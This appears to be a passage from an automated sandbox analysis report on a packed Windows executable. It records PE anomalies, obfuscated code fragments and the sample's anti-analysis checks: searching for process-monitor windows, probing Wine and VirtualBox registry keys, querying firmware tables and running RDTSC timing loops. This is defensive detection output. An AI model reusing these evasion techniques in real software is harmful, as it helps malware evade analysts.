Static PE information: real checksum: 0x1d700f should be: 0x1cd1dd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mdltnzwz
Source: file.exe	Static PE information: section name: bnbpmthl
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D84CA push 4A76B86Fh; mov dword ptr [esp], ebx	0_2_061D9F7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D84CA push edx; mov dword ptr [esp], edi	0_2_061DA5B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBE10 push edx; mov dword ptr [esp], ebp	0_2_061DBE23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DA612 push 5455AEF1h; mov dword ptr [esp], esp	0_2_061DB5B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DFE0B push ebx; ret	0_2_061DFE1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DD63B push 4D61F54Ch; mov dword ptr [esp], eax	0_2_061DE696
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DD63B push edx; mov dword ptr [esp], ecx	0_2_061DE69A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DD63B push 48FF7BDDh; mov dword ptr [esp], ecx	0_2_061DE7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D6E33 push esi; mov dword ptr [esp], 20E3626Ah	0_2_061D6E49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D6E33 push 0A56FB19h; mov dword ptr [esp], edi	0_2_061D6E5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D6E33 push esi; mov dword ptr [esp], ebx	0_2_061D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D7E2D push ebx; mov dword ptr [esp], ecx	0_2_061D7E2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DAE2F push esi; mov dword ptr [esp], edx	0_2_061DC511
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D9E2A push ebp; mov dword ptr [esp], ecx	0_2_061DB0AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DCE55 push ebp; mov dword ptr [esp], 68EFDDF2h	0_2_061DCE78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DCE55 push 791FB264h; mov dword ptr [esp], esp	0_2_061DCE87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DFE53 push edx; ret	0_2_061DFE62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D7E4D push edi; mov dword ptr [esp], ebx	0_2_061D9D7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E0E4A push ecx; mov dword ptr [esp], 77FF6F38h	0_2_061E157A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DDE7D push 7D007FF3h; mov dword ptr [esp], ebx	0_2_061DDE94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DDE7D push 011F5875h; mov dword ptr [esp], esi	0_2_061DDEA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DA674 push 00BC2B9Bh; mov dword ptr [esp], ecx	0_2_061DA685
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D6E72 push 219F2B19h; mov dword ptr [esp], ecx	0_2_061D6E82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D8E6C push 2DAA22D4h; mov dword ptr [esp], eax	0_2_061D91DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D8E9F push esi; mov dword ptr [esp], 3FEE54D6h	0_2_061D8EAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D8E9F push eax; mov dword ptr [esp], ecx	0_2_061DB279
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D868B push 5F8E1805h; mov dword ptr [esp], eax	0_2_061D9932
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DFE86 push eax; ret	0_2_061DFE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D9680 push 6B59A564h; mov dword ptr [esp], edx	0_2_061D9688
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DFEBB push edx; ret	0_2_061DFECA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D86A4 push 6A7CF961h; mov dword ptr [esp], ebx	0_2_061DB64A

Source: file.exe	Static PE information: section name: entropy: 7.980441447474211
Source: file.exe	Static PE information: section name: mdltnzwz entropy: 7.953160284976757

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F412C7 second address: F40B14 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F5C289E2D1Ah 0x00000010 jp 00007F5C289E2D2Ch 0x00000016 push dword ptr [ebp+122D0DC1h] 0x0000001c pushad 0x0000001d mov esi, dword ptr [ebp+122D2BADh] 0x00000023 mov cl, 35h 0x00000025 popad 0x00000026 call dword ptr [ebp+122D296Eh] 0x0000002c pushad 0x0000002d jmp 00007F5C289E2D21h 0x00000032 clc 0x00000033 xor eax, eax 0x00000035 cmc 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a jmp 00007F5C289E2D22h 0x0000003f mov dword ptr [ebp+122D3A31h], edx 0x00000045 mov dword ptr [ebp+122D2CB1h], eax 0x0000004b jne 00007F5C289E2D17h 0x00000051 stc 0x00000052 mov esi, 0000003Ch 0x00000057 clc 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c or dword ptr [ebp+122D3A31h], esi 0x00000062 lodsw 0x00000064 jmp 00007F5C289E2D25h 0x00000069 cld 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e stc 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 cld 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F5C289E2D25h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5758 second address: 10B575D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B575D second address: 10B5763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5763 second address: 10B5778 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5C287768DBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5778 second address: 10B5784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5C289E2D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5784 second address: 10B5788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE22B second address: 10BE244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D23h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE244 second address: 10BE261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5C287768E4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE55C second address: 10BE563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE6BE second address: 10BE6C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE944 second address: 10BE94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE94A second address: 10BE98C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F5C287768D6h 0x0000000b jnc 00007F5C287768D6h 0x00000011 popad 0x00000012 jp 00007F5C287768D8h 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007F5C287768DFh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F5C287768E4h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB3B second address: 10BEB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5C289E2D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB45 second address: 10BEB6B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5C287768D6h 0x00000008 jmp 00007F5C287768E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jc 00007F5C287768D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB6B second address: 10BEB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C289E2D26h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEB86 second address: 10BEBB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5C287768E3h 0x00000008 jo 00007F5C287768D6h 0x0000000e jmp 00007F5C287768DBh 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C051F second address: 10C054D instructions: 0x00000000 rdtsc 0x00000002 js 00007F5C289E2D2Bh 0x00000008 jmp 00007F5C289E2D25h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5C289E2D1Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C054D second address: 10C0588 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5C287768D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F5C287768E7h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jl 00007F5C287768D8h 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007F5C287768D6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0588 second address: 10C0599 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0599 second address: 10C05BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F5C287768DDh 0x00000012 jns 00007F5C287768D6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C05BA second address: F40B14 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5C289E2D18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov si, di 0x00000010 push dword ptr [ebp+122D0DC1h] 0x00000016 jmp 00007F5C289E2D1Dh 0x0000001b call dword ptr [ebp+122D296Eh] 0x00000021 pushad 0x00000022 jmp 00007F5C289E2D21h 0x00000027 clc 0x00000028 xor eax, eax 0x0000002a cmc 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f jmp 00007F5C289E2D22h 0x00000034 mov dword ptr [ebp+122D3A31h], edx 0x0000003a mov dword ptr [ebp+122D2CB1h], eax 0x00000040 jne 00007F5C289E2D17h 0x00000046 stc 0x00000047 mov esi, 0000003Ch 0x0000004c clc 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 or dword ptr [ebp+122D3A31h], esi 0x00000057 lodsw 0x00000059 jmp 00007F5C289E2D25h 0x0000005e cld 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 stc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 cld 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F5C289E2D25h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C062B second address: 10C069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jnl 00007F5C287768D6h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F5C287768E3h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push edx 0x00000019 push ebx 0x0000001a push edx 0x0000001b pop edx 0x0000001c pop ebx 0x0000001d pop edx 0x0000001e mov eax, dword ptr [eax] 0x00000020 jno 00007F5C287768E1h 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a pushad 0x0000002b jmp 00007F5C287768E8h 0x00000030 pushad 0x00000031 jmp 00007F5C287768E1h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C069B second address: 10C06C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 adc cl, FFFFFFA5h 0x0000000a movzx ecx, cx 0x0000000d push 00000003h 0x0000000f sub dh, FFFFFFCCh 0x00000012 push 00000000h 0x00000014 movzx edi, si 0x00000017 push 00000003h 0x00000019 mov edx, dword ptr [ebp+122D2BF9h] 0x0000001f push FFDFD611h 0x00000024 push esi 0x00000025 push ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C06C3 second address: 10C070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 xor dword ptr [esp], 3FDFD611h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F5C287768D8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 lea ebx, dword ptr [ebp+1245346Ch] 0x0000002d or dx, 33F8h 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push edx 0x00000036 jne 00007F5C287768D6h 0x0000003c pop edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C070B second address: 10C0710 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0949 second address: 10C094F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C094F second address: 10C09EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jc 00007F5C289E2D16h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 15B5C3E1h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F5C289E2D18h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f jg 00007F5C289E2D29h 0x00000035 jnp 00007F5C289E2D1Ch 0x0000003b push 00000003h 0x0000003d sbb edx, 12C83348h 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push esi 0x00000048 call 00007F5C289E2D18h 0x0000004d pop esi 0x0000004e mov dword ptr [esp+04h], esi 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc esi 0x0000005b push esi 0x0000005c ret 0x0000005d pop esi 0x0000005e ret 0x0000005f add dword ptr [ebp+122D348Ch], ecx 0x00000065 push 00000003h 0x00000067 stc 0x00000068 push 4E8F145Ah 0x0000006d pushad 0x0000006e pushad 0x0000006f push eax 0x00000070 pop eax 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C09EA second address: 10C0A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5C287768DCh 0x0000000b jns 00007F5C287768D6h 0x00000011 popad 0x00000012 add dword ptr [esp], 7170EBA6h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F5C287768D8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 jns 00007F5C287768DCh 0x00000039 lea ebx, dword ptr [ebp+12453480h] 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007F5C287768D8h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 mov ecx, dword ptr [ebp+122D2C89h] 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F5C287768DAh 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1C4F second address: 10E1C5C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFB42 second address: 10DFB61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5C287768E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F5C287768D8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFB61 second address: 10DFB6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5C289E2D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCCC second address: 10DFCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F5C287768E5h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCE8 second address: 10DFCED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCED second address: 10DFCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCF8 second address: 10DFCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCFC second address: 10DFD00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFD00 second address: 10DFD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFB4 second address: 10DFFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFB8 second address: 10DFFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFBE second address: 10DFFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFC4 second address: 10DFFD4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5C289E2D18h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFFD4 second address: 10DFFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E02A5 second address: 10E02AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E041E second address: 10E0424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E05A3 second address: 10E05AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E05AE second address: 10E05B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E05B2 second address: 10E05CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E05CB second address: 10E0603 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5C287768F6h 0x00000008 jmp 00007F5C287768DCh 0x0000000d jmp 00007F5C287768E4h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F5C287768DCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0603 second address: 10E0609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0609 second address: 10E060D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E060D second address: 10E0613 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0767 second address: 10E0781 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F5C287768DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F5C287768DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0781 second address: 10E078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E078C second address: 10E07A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5C287768DFh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E07A5 second address: 10E07AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
